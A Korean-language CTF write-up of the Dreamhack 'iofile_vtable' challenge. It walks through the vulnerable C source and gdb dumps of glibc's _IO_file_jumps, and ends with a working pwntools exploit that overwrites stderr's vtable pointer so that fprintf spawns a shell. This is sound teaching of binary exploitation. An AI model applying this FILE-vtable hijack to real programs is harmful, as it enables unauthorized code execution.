[Dreamhack] PWN iofile_vtable

이번 문제는 iofile의 vtable에 관한 문제이다. 문제 환경을 보면 ubuntu:16.04로 iofile vtable check 함수는 걱정하지 않아도 될듯 하다.

우선 바이너리 코드를 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

우선 중점을 봐야할 부분은 두 부분 같다. 먼저 what is your name이라는 문구와 함께 read함수를 통해서 값을 8 만큼 입력 받는 다 이후 4번 항목을 통해서 stderr+1 지점에 8만큼 값을 쓸 수 있다.

우선 stderr+1에 무엇이 있는지 gdb를 통해서 봐야 할 것 같다. gdb를 통해 살펴본 어셈블리는 다음과 같다.

   0x400a66 <main+267>    mov    rax, qword ptr [rip + 0x200653] <stderr@@GLIBC_2.2.5>
   0x400a6d <main+274>    add    rax, 0xd8
   0x400a73 <main+280>    mov    edx, 8
  0x400a78 <main+285>    mov    rsi, rax                      <_IO_2_1_stderr_+216>
   0x400a7b <main+288>    mov    edi, 0
   0x400a80 <main+293>    call   read@plt                      <read@plt>

stderr에서 0xd8만큼 더한 값을 read함수의 파라미터로 사용하고 있다 0xd8은 어딘가 익숙한 값이다. 이 부분을 확인해보자.

pwndbg> x/gx 0x7ffff7dd2618
0x7ffff7dd2618 <_IO_2_1_stderr_+216>:   0x00007ffff7dd06e0
pwndbg> x/32gx 0x00007ffff7dd06e0
0x7ffff7dd06e0 <_IO_file_jumps>:        0x0000000000000000      0x0000000000000000
0x7ffff7dd06f0 <_IO_file_jumps+16>:     0x00007ffff7a869d0      0x00007ffff7a87740
0x7ffff7dd0700 <_IO_file_jumps+32>:     0x00007ffff7a874b0      0x00007ffff7a88610
0x7ffff7dd0710 <_IO_file_jumps+48>:     0x00007ffff7a89990      0x00007ffff7a861f0
0x7ffff7dd0720 <_IO_file_jumps+64>:     0x00007ffff7a85ed0      0x00007ffff7a854d0
0x7ffff7dd0730 <_IO_file_jumps+80>:     0x00007ffff7a88a10      0x00007ffff7a85440
0x7ffff7dd0740 <_IO_file_jumps+96>:     0x00007ffff7a85380      0x00007ffff7a7a190
0x7ffff7dd0750 <_IO_file_jumps+112>:    0x00007ffff7a861b0      0x00007ffff7a85b80
0x7ffff7dd0760 <_IO_file_jumps+128>:    0x00007ffff7a85980      0x00007ffff7a85350
0x7ffff7dd0770 <_IO_file_jumps+144>:    0x00007ffff7a85b70      0x00007ffff7a89b00
0x7ffff7dd0780 <_IO_file_jumps+160>:    0x00007ffff7a89b10      0x0000000000000000
0x7ffff7dd0790: 0x0000000000000000      0x0000000000000000
0x7ffff7dd07a0 <_IO_str_jumps>: 0x0000000000000000      0x0000000000000000
0x7ffff7dd07b0 <_IO_str_jumps+16>:      0x00007ffff7a89fb0      0x00007ffff7a89c90
0x7ffff7dd07c0 <_IO_str_jumps+32>:      0x00007ffff7a89c30      0x00007ffff7a88610
0x7ffff7dd07d0 <_IO_str_jumps+48>:      0x00007ffff7a89f90      0x00007ffff7a88640

pwndbg> p _IO_file_jumps
$5 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7ffff7a869d0 <_IO_new_file_finish>,
  __overflow = 0x7ffff7a87740 <_IO_new_file_overflow>,
  __underflow = 0x7ffff7a874b0 <_IO_new_file_underflow>,
  __uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7a89990 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7ffff7a861f0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7a854d0 <_IO_new_file_seekoff>,
  __seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7a85440 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7a85380 <_IO_new_file_sync>,
  __doallocate = 0x7ffff7a7a190 <__GI__IO_file_doallocate>,
  __read = 0x7ffff7a861b0 <__GI__IO_file_read>,
  __write = 0x7ffff7a85b80 <_IO_new_file_write>,
  __seek = 0x7ffff7a85980 <__GI__IO_file_seek>,
  __close = 0x7ffff7a85350 <__GI__IO_file_close>,
  __stat = 0x7ffff7a85b70 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

확인한 결과 _IO_file_jumps vtable인 것을 볼수 있다. read(0, stderr + 1, 8); 구문을 통해서 가짜 vtable 주소를 넣어 원하는 함수를 실행 시킬 수 있을 것 같다.

case 2:의 fprintf()함수는 호출되면 _IO_file_jumps의 0x38 offset에 있는 __xsputn의 주소를 호출한다. 따라서 우리는 name 변수에 get_shell() 함수 주소를, case 4의 read 함수에서 name 변수 주소 -0x38을 입력하면 익스플로잇이 가능 할 것이다.

다음은 위 내용을 바탕으로 작성한 익스플로잇 코드이다.

from pwn import *
context.update(arch='amd64', os='linux')
#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 10623);
#p = process("./rop", env={'LD_PRELOAD':'./libc-2.27.so'})
#p = process("./iofile_vtable")
elf = ELF("./iofile_vtable")
#libc = ELF("./libc-2.27.so")

get_shell = 0x40094a
fake__xsputn = 0x6010d0-0x38

p.sendlineafter(b"what is your name: ", p64(get_shell))
pause()

p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"change: ", p64(fake__xsputn))
p.sendlineafter(b"> ", b"2")

p.interactive()